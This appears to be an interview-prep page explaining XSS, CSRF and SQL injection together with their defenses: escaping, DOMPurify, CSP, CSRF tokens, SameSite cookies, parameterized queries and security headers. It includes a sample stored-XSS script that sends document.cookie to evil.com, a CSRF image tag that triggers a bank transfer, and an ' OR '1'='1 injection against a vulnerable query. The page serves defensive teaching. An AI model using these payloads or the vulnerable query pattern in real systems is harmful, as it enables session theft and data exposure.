Skip to content
web technology questions

Web Technology · 9 of 10senior~1 min

What are the main web security threats and how do you prevent them?

#security#xss#csrf

Web Security Threats

XSS - Cross-Site Scripting

Attacker injects malicious JavaScript that runs in other users' browsers.

html
<!-- stored XSS - attacker saves this as a comment --> <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script> <!-- reflected XSS --> https://site.com/search?q=<script>alert(1)</script>

Prevention:

ts
// never do this element.innerHTML = userInput; // use textContent instead element.textContent = userInput; // React escapes by default - safe <div>{userInput}</div> // dangerouslySetInnerHTML - only with sanitized input import DOMPurify from 'dompurify'; <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />

Content Security Policy (CSP):

text
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123' // blocks inline scripts and external script sources

CSRF - Cross-Site Request Forgery

Attacker tricks a logged-in user into submitting a malicious request.

html
<!-- attacker's site --> <img src="https://bank.com/transfer?to=attacker&amount=1000" /> <!-- browser sends cookies automatically - request goes through! -->

Prevention:

ts
// CSRF tokens <input type="hidden" name="csrf_token" value="{server_generated_token}" /> // SameSite cookies - best modern defense Set-Cookie: session=abc; SameSite=Strict; HttpOnly; Secure

SQL Injection (API side)

ts
// vulnerable db.query(`SELECT * FROM users WHERE name = '${userInput}'`); // input: ' OR '1'='1 -> returns all users // safe - parameterized queries db.query('SELECT * FROM users WHERE name = $1', [userInput]);

Security headers checklist

text
Content-Security-Policy - restrict resource origins X-Content-Type-Options: nosniff - prevent MIME sniffing X-Frame-Options: DENY - prevent clickjacking (modern: CSP frame-ancestors 'none') Strict-Transport-Security - force HTTPS Referrer-Policy: strict-origin - limit referrer info

The three biggest web vulnerabilities are XSS, CSRF, and injection attacks. React prevents most XSS by default through escaping, but dangerouslySetInnerHTML and eval are common escape hatches that reintroduce the risk.

updated

did you know it?

read more on the blog

view all

related questions